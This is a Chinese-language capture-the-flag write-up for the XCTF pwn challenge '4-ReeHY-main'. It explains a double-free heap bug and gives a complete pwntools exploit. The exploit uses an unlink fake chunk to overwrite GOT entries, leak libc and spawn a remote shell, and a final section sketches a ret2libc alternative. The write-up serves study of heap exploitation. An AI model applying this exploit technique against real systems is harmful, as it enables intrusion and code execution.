XCTF-4-reehy-main-100-WP

Posted on Dec 27, 2020

这道题好难的感觉,看了别人的WP做了一天虽然是迷迷糊糊的拿到了flag但是还是有一点不能理解(2021.1.3更新:由于libc的问题被解决,现在基本理解了,如果你也和我一样对最后伪造的两个堆块的大小不理解那么希望这篇文章能帮到你)。

主要的漏洞出在delete函数中,这里的检验十分不完善,可以double free,还可以free下标为负数的chunk。所以在这里有两种利用方法,一是通过整数溢出实现栈溢出然后rop,另一种是通过unlink实现got的覆写。

UNLINK

为什么我能这么蠢,就是想不到fake_chunk的构造方法。我们先申请两个chunk(不能太小导致进入fast bin不能太大导致进入不了unsorted bin),然后free掉他们,再申请一个大小为这两者和的chunk,ptmalloc会先在unsorted bin中寻找合适大小的chunk,所以这两个chunk就都给了新申请的chunk。由于double free的存在,所以我们在新申请的chunk中布置fake_chunk是可以实现unlink的利用的。

create(1,0x200,'index:1')                      
create(2,0x200,'index:2')                      
create(3,0x200,'index:3')                      
                                               
delete(3)                                      
delete(2)                                      
                                               
#fake_chunk                                    
payload  = p64(0) + p64(0x201)                 
payload += p64(content_ptr_array + 16 * 2 - 0x18)   #fd
payload += p64(content_ptr_array + 16 * 2 - 0x10)   #bk
payload  = payload.ljust(0x200,'\x00')         
                                               
payload += p64(0x200)   #prev_size             
payload += p64(0x200)   #this_size,prev not in use   
                                               
                                               
create(2,0x400,payload)                        
delete(3)                                              

差不多是这样,这样就实现了unlink。这里我想特别讲一下对index为3的这个chunk的size设置。首先这个chunk先是布置了一个fake_chunk,然后“还原”了原先的index为3的chunk,注意这里的还原打了引号,我在做的时候想当然的真的还原了那个chunk,把大小设置成了0x210,发现程序直接退出了,事实上这是不对的,因为现在被布置的chunk的数据大小是0x400,其总大小为0x410,fake_chunk和chunk本身的size与prev_size占去了0x210,也就是说我们要还原的chunk,也就是被我们double free的chunk算上size与prev_size的总大小只有0x200!看出来原因了吗?还原的堆块不再是malloc(0x200)所得的了!遗憾的是我还没有研究透彻free的措施,当free一个错误大小的堆块时会发生的错误仍然还需要学习

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level = 'debug')
content_ptr_array = 0x6020e0
elf = ELF("./4-ReeHY-main")

def create(index,size,payload):
    sh.sendlineafter('*\n$ ','1')
    sh.sendlineafter("Input size\n",str(size))
    sh.sendlineafter("Input cun\n",str(index))
    sh.sendafter("Input content\n",payload)

def delete(index):
    sh.sendlineafter('*\n$ ','2')
    sh.sendlineafter("to dele\n",str(index))

def edit(index,payload):
    sh.sendlineafter('*\n$ ','3')
    sh.sendlineafter('to edit\n',str(index))
    sh.sendafter("Input the content\n",payload)

sh = remote('220.249.52.134','50776')
sh.sendlineafter('$ ','pwn')

#create(0,0x200,'index:0')
create(1,0x200,'index:1')
create(2,0x200,'index:2')
create(3,0x200,'index:3')

delete(3)
delete(2)

#fake_chunk
payload  = p64(0) + p64(0x201)
payload += p64(content_ptr_array + 16 * 2 - 0x18)   #fd
payload += p64(content_ptr_array + 16 * 2 - 0x10)   #bk
payload  = payload.ljust(0x200,'\x00')

payload += p64(0x200)   #prev_size
payload += p64(0x200)   #this_size,prev not in use


create(2,0x400,payload)
delete(3)

payload = p64(1) + p64(elf.got["free"]) + p64(1) + p64(elf.got["atoi"]) + p64(1)
payload += p64(elf.got["atoi"]) + p64(1)
edit(2,payload)

edit(1,p64(elf.symbols["puts"]))
delete(2)
atoi_addr = u64(sh.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('atoi',atoi_addr)
system_addr = atoi_addr - libc.dump('atoi') + libc.dump('system')
edit(3,p64(system_addr))
sh.sendlineafter("$ ",'/bin/sh\x00')

sh.interactive()

栈溢出

这个我没写,难点是使得栈可以溢出,如何做?free(-2),这样我们就把

这个数组放到了fast bin中,创建一个exploit时设置size为0x14就可以获得对size数组的修改能力

我们设置一个exploit的nbytes为-1,就可以向buf中写一大堆数据,之后就是简单的ret2libc那一套了。